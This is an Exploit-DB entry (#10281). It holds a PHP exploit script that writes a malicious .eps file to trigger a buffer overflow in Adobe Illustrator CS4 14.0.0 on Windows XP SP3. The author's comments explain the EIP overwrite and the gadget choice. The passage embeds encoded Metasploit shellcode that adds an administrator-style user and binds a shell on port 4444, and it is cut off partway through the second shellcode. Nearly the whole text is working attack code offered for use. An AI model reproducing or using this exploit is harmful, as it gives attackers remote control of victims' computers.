Exploit-DB #10281
Description: Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript '.eps' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-03
Author: pyrokinesis

Exploit:
<?php
    /*
    Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
    overlong DSC Comment Buffer Overflow Exploit
    by Nine:Situations:Group::pyrokinesis
    site: http://retrogod.altervista.org/
     
    An overlong string as DSC comment (more than 42000 bytes)
    results in a direct EIP overwrite.
    Exception is first-chance so the program will never crash.
    At the moment of the redirection EAX and ESI are user-controlled.
    This portion of the buffer begins with '%' (it is the next DSC
    comment) but as you can see the resulting pattern is 
    nop-equivalent.
     
    Tested and working against xp sp3
    change the call esi if you need, must be alphabetic
    I used a "call esi" from comctl32.dll on xp sp3,
    change if needed.
     
    Usage: php 9sg_illu.php
    then double-click on the resulting 9sg.eps file
    it will bind a shell on port 4444
    change the shellcode for your needs even.
     
    */
     
    # windows/adduser - 446 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_mixed
    # EXITFUNC=seh, USER=adobe, PASS=kills
    $_scode_i = "\xda\xc9\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49" .
                "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" . 
                "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" . 
                "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" . 
                "\x4a\x49\x4b\x4c\x4a\x48\x47\x34\x43\x30\x43\x30\x45\x50" . 
                "\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48" . 
                "\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f" . 
                "\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x50\x34\x4c\x4b" . 
                "\x43\x31\x4a\x4e\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4d\x54" . 
                "\x49\x50\x44\x34\x45\x57\x49\x51\x48\x4a\x44\x4d\x43\x31" . 
                "\x49\x52\x4a\x4b\x4a\x54\x47\x4b\x46\x34\x47\x54\x43\x34" . 
                "\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b" . 
                "\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c" . 
                "\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a\x4b" . 
                "\x4d\x59\x51\x4c\x47\x54\x44\x44\x48\x43\x51\x4f\x50\x31" . 
                "\x4b\x46\x43\x50\x46\x36\x45\x34\x4c\x4b\x47\x36\x50\x30" . 
                "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d" . 
                "\x4c\x4b\x42\x48\x43\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50" .
                "\x42\x4a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x44\x44\x51\x4f" .
                "\x45\x38\x4d\x48\x4b\x4e\x4c\x4a\x44\x4e\x51\x47\x4b\x4f" .
                "\x4d\x37\x42\x43\x42\x4d\x42\x44\x46\x4e\x45\x35\x43\x48" .
                "\x42\x45\x51\x30\x46\x4f\x45\x33\x47\x50\x42\x4e\x42\x45" .
                "\x42\x54\x51\x30\x43\x45\x43\x43\x45\x35\x43\x42\x51\x30" .
                "\x45\x31\x45\x34\x42\x4f\x42\x42\x43\x55\x47\x50\x42\x4b" .
                "\x45\x39\x42\x4c\x42\x4c\x42\x53\x51\x30\x46\x4f\x51\x51" .
                "\x47\x34\x50\x44\x51\x30\x47\x56\x51\x36\x51\x30\x42\x4e" .
                "\x42\x45\x44\x34\x47\x50\x42\x4c\x42\x4f\x42\x43\x45\x31" .
                "\x42\x4c\x43\x57\x43\x42\x42\x4f\x44\x35\x44\x30\x47\x50" .
                "\x47\x31\x42\x44\x42\x4d\x42\x49\x42\x4e\x45\x39\x42\x53" .
                "\x43\x44\x42\x52\x45\x31\x43\x44\x42\x4f\x44\x32\x44\x33" .
                "\x51\x30\x45\x31\x45\x34\x42\x4f\x43\x52\x42\x45\x47\x50" . 
                "\x46\x4f\x47\x31\x47\x34\x51\x54\x45\x50\x41\x41";
     
    # windows/shell_bind_tcp - 696 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_mixed
    # EXITFUNC=seh, LPORT=4444, RHOST=
    $_scode_ii = "\x89\xe5\xda\xd0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" .
                 "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
                 "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . 
                 "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
                 "\x42\x75\x4a\x49\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38" . 
                 "\x4b\x49\x4b\x4f\x4b\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c" .
                 "\x46\x44\x51\x34\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c" . 
                 "\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x42\x38" .
                 "\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\x4b\x51\x59\x4c\x4b" .
                 "\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4a\x39" .
                 "\x4e\x4c\x4d\x54\x49\x50\x43\x44\x45\x57\x49\x51\x49\x5a" .
                 "\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x50\x54" .
                 "\x51\x34\x46\x48\x43\x45\x4b\x55\x4c\x4b\x51\x4f\x47\x54" . 
                 "\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b" . 
                 "\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x45\x53\x46\x4c\x4c\x4b" . 
                 "\x4b\x39\x42\x4c\x47\x54\x45\x4c\x45\x31\x48\x43\x46\x51" .                  
                 "\x49\x4b\x45\x34\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x51\x50" .
                 "\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50" .
                 "\x43\x38\x51\x4e\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c" . 
                 "\x50\x50\x4b\x4f\x48\x56\x45\x36\x50\x53\x43\x56\x45\x38" .
                 "\x50\x33\x46\x52\x45\x38\x44\x37\x43\x43\x47\x42\x51\x4f" . 
                 "\x51\x44\x4b\x4f\x4e\x30\x45\x38\x48\x4b\x4a\x4d\x4b\x4c" .
                 "\x47\x4b\x50\x50\x4b\x4f\x49\x46\x51\x4f\x4c\x49\x4a\x45" . 
                 "\x45\x36\x4b\x31\x4a\x4d\x43\x38\x43\x32\x51\x45\x42\x4a" .
                 "\x45\x52\x4b\x4f\x48\x50\x45\x38\x4e\x39\x44\x49\x4b\x45" . 
                 "\x4e\x4d\x46\x37\x4b\x4f\x48\x56\x50\x53\x46\x33\x51\x43" .
                 "\x51\x43\x46\x33\x51\x53\x46\x33\x51\x53\x46\x33\x4b\x4f" . 
                 "\x4e\x30\x45\x36\x45\x38\x42\